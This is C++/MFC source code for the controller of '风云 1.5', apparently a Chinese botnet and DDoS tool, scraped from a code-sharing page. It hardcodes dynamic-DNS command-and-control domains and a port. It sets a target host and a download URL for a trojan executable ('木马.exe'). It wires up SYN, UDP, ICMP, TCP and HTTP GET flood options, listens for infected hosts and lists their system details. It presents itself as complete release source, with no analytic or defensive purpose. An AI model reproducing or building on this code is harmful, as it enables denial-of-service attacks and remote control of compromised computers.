📄
字号:
// 风云Dlg.cpp : implementation file
//
#include "stdafx.h"
#include "风云.h"
#include "风云Dlg.h"
#include "HelpDlg.h"
#include <winsock.h>
#include <afxinet.h>
#pragma comment(lib,"ws2_32.lib")
/*
风云1.5发布版的完整原代码
*/
struct MODIFY_DATA
{
unsigned int finder;
char ws_svcname[32];
char ws_svcdisplay[128];
char ws_svcdesc[256];
char url[256];
int port;
}
modify_data =
{
0xFFFFFF8D,
"1",
"111",
"111",
"chidaoren.3322.org",
2014,
};
#define number_host 50
CClientSock ClientSock[number_host];
int index[number_host];
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CMyDlg dialog
CMyDlg::CMyDlg(CWnd* pParent /*=NULL*/)
: CDialog(CMyDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CMyDlg)
m_domain = _T("yn.3322.org");
m_tgtip = _T("www.fengyum.com");
m_tgtport = 80;
m_upport = 2014;
m_timeout = 20;
m_extraurl = _T("http://www.fy.com/木马.exe");
m_syn = TRUE;
m_udp = TRUE;
m_icmp = FALSE;
m_selall = FALSE;
m_break = FALSE;
m_2k = FALSE;
m_sp2 = FALSE;
m_findip = _T("");
m_getobj = _T("/index.htm");
m_get = FALSE;
m_tcp = FALSE;
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CMyDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CMyDlg)
DDX_Control(pDX, IDC_LIST1, m_ListCtrl);
DDX_Text(pDX, IDC_EDIT_DOMAIN, m_domain);
DDX_Text(pDX, IDC_EDIT_TGTIP, m_tgtip);
DDX_Text(pDX, IDC_EDIT_TGTPORT, m_tgtport);
DDV_MinMaxInt(pDX, m_tgtport, 0, 65534);
DDX_Text(pDX, IDC_EDIT_UPPORT, m_upport);
DDV_MinMaxInt(pDX, m_upport, 1, 65535);
DDX_Text(pDX, IDC_EDIT_TIMEOUT, m_timeout);
DDV_MinMaxInt(pDX, m_timeout, 1, 120);
DDX_Text(pDX, IDC_EDIT_DOWNLOAD, m_extraurl);
DDX_Check(pDX, IDC_CHECK_SYN, m_syn);
DDX_Check(pDX, IDC_CHECK_UDP, m_udp);
DDX_Check(pDX, IDC_CHECK_ICMP, m_icmp);
DDX_Check(pDX, IDC_CHECK_ALLSEL, m_selall);
DDX_Check(pDX, IDC_CHECK1, m_break);
DDX_Check(pDX, IDC_CHECK_W2000, m_2k);
DDX_Check(pDX, IDC_CHECK_SP2, m_sp2);
DDX_Text(pDX, IDC_EDIT_FINDIP, m_findip);
DDX_Text(pDX, IDC_EDIT_GETOBJ, m_getobj);
DDX_Check(pDX, IDC_CHECK_GET, m_get);
DDX_Check(pDX, IDC_CHECK_TCP, m_tcp);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CMyDlg, CDialog)
//{{AFX_MSG_MAP(CMyDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON_BEGINLIS, OnButtonBeginlis)
ON_BN_CLICKED(IDC_BUTTON_REMOVE, OnButtonRemove)
ON_BN_CLICKED(IDC_BUTTON_FLOOD, OnButtonFlood)
ON_BN_CLICKED(IDC_BUTTON_STOP, OnButtonStop)
ON_BN_CLICKED(IDC_BUTTON_DOWNLOAD, OnButtonDownload)
ON_BN_CLICKED(IDC_BUTTON_HELP, OnButtonHelp)
ON_BN_CLICKED(IDC_BUTTON_REFLASH, OnButtonReflash)
ON_WM_TIMER()
ON_BN_CLICKED(IDC_BUTTON_UPDATEDATA, OnButtonUpdatedata)
ON_BN_CLICKED(IDC_CHECK_ALLSEL, OnCheckAllsel)
ON_BN_CLICKED(IDC_CHECK_W2000, OnCheckW2000)
ON_BN_CLICKED(IDC_CHECK_SP2, OnCheckSp2)
ON_BN_CLICKED(IDC_BUTTON_FINDIP, OnButtonFindip)
ON_BN_CLICKED(IDC_CHECK_COVER, OnCheckCover)
ON_BN_CLICKED(IDC_CHECK_TCPBREAK, OnCheckTcpbreak)
ON_BN_CLICKED(IDC_CHECK_GET, OnCheckGet)
//}}AFX_MSG_MAP
ON_COMMAND_RANGE(IMENU_ITEM_ID,IMENU_ITEM_ID+100,OnMenuSelect)
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMyDlg message handlers
BOOL CMyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
LONG lStyle = m_ListCtrl.SendMessage(LVM_GETEXTENDEDLISTVIEWSTYLE);
lStyle |= LVS_EX_GRIDLINES | LVS_EX_CHECKBOXES | LVS_EX_FULLROWSELECT;
m_ListCtrl.SendMessage(LVM_SETEXTENDEDLISTVIEWSTYLE, 0,(LPARAM)lStyle);
LV_COLUMN lvc;
lvc.mask = LVCF_TEXT | LVCF_SUBITEM | LVCF_WIDTH;
lvc.iSubItem = 0;
lvc.pszText = (char *)"主机IP地址";
lvc.cx = 120;
m_ListCtrl.InsertColumn(1,&lvc);
lvc.iSubItem = 1;
lvc.pszText = (char *)"操作系统";
lvc.cx = 80;
m_ListCtrl.InsertColumn(1,&lvc);
lvc.iSubItem = 2;
lvc.pszText = (char *)"内存(MB)";
lvc.cx = 60;
m_ListCtrl.InsertColumn(2,&lvc);
lvc.iSubItem = 3;
lvc.pszText = (char *)"命令情况";
lvc.cx = 60;
m_ListCtrl.InsertColumn(3,&lvc);
lvc.iSubItem = 4;
lvc.pszText = (char *)"CPU详细信息";
lvc.cx = 200;
m_ListCtrl.InsertColumn(4,&lvc);
AcceptSock=NULL;
for(int i=0;i<number_host;i++)
index[i] = -1;
//OnButtonBeginlis();
SetTimer(0,5000,NULL);
SetTimer(1,120000,NULL);
char CurPath[MAX_PATH];
GetCurrentDirectory(MAX_PATH,CurPath);
strcat(CurPath,"\\Config.ini");
if (!GetPrivateProfileString( "LocalSetting","url",NULL,m_domain.GetBuffer(0),255,CurPath))
m_domain = _T("yn.3322.org");
m_upport=GetPrivateProfileInt("LocalSetting","Port",0,CurPath);
if (m_upport == 0)
m_upport=2014;
SetDlgItemInt(IDC_EDIT_UPPORT,m_upport,TRUE);
SetDlgItemText(IDC_EDIT_DOMAIN,m_domain);
return TRUE; // return TRUE unless you set the focus to a control
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CMyDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CMyDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CMyDlg::OnOK() {}
void CMyDlg::OnButtonHelp()
{
CHelpDlg dlg;
dlg.DoModal();
}
BOOL CMyDlg::LoadSource(UINT resoure_id , const char * type , const char * filepath)
{
//获得资源指针
HRSRC hRsrc = ::FindResource( NULL , MAKEINTRESOURCE( resoure_id ) , type );
if( hRsrc )
{ //获得资源大小
DWORD size = ::SizeofResource( NULL , hRsrc );
//将资源载入内存
HGLOBAL handle = ::LoadResource( NULL , hRsrc );
//写入文件
if( handle )
{ //定位资源位置
BYTE *MemPtr = (BYTE *)LockResource( handle );
CFile file;
if( file.Open( filepath , CFile::modeCreate | CFile::modeWrite ) )
{
file.Write( MemPtr , size );
file.Close( );
}
::UnlockResource( handle );
}
::FreeResource( handle );
return TRUE;
}
return FALSE;
}
void CMyDlg::OnButtonBeginlis()
{
UpdateData(TRUE);
if (AcceptSock != NULL)
{
AcceptSock->Close();
delete AcceptSock;
AcceptSock=NULL;
SetDlgItemText(IDC_BUTTON_BEGINLIS,"开始监听");
return;
}
AcceptSock = new CAcceptSock(this);
if (!AcceptSock->Create(m_upport,SOCK_STREAM))
{
AfxMessageBox("Socket Create Error!");
return;
}
if (!AcceptSock->Listen(5))
{
AfxMessageBox("Socket Listen Error!");
return;
}
char CurPath[MAX_PATH];
GetCurrentDirectory(MAX_PATH,CurPath);
strcat(CurPath,"\\Config.ini");
char strPort[10]={0};
wsprintf(strPort,"%d",m_upport);
WritePrivateProfileString("LocalSetting","Port",strPort,CurPath);
SetDlgItemText(IDC_BUTTON_BEGINLIS,"停止监听");
}
void CMyDlg::AcceptPending(CAcceptSock *as)
{
for(int i=0;i<number_host;i++)
{
if (index[i] == -1)
{
if(as->Accept(ClientSock[i]))
{
ClientSock[i].SetBaseDlg(this);
ClientSock[i].index=i;
break;
}
}
}
}
void CMyDlg::AddHost(int id, int ver, char *ip, char *mem, char *cpu)
{
index[id]=1;
int n=m_ListCtrl.GetItemCount();
m_ListCtrl.InsertItem(n,ip);
m_ListCtrl.SetItemData(n,(DWORD)id);
char rootstr[16];
switch(ver)
{
case 0:
wsprintf(rootstr,"Win 2000");
break;
case 1:
wsprintf(rootstr,"Win XP");
break;
case 2:
wsprintf(rootstr,"Win XP SP2");
break;
case 3:
wsprintf(rootstr,"Win 2003");
break;
}
m_ListCtrl.SetItemText(n,1,rootstr);
m_ListCtrl.SetItemText(n,2,mem);
m_ListCtrl.SetItemText(n,3,"无命令");
m_ListCtrl.SetItemText(n,4,cpu);
}
void CMyDlg::DeleteHost(int id)
{
index[id]=-1;
ClientSock[id].Close();
int n= m_ListCtrl.GetItemCount();
for(int i=0;i<n;i++)
{
if ((int)m_ListCtrl.GetItemData(i) == id)
{
m_ListCtrl.DeleteItem(i);
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -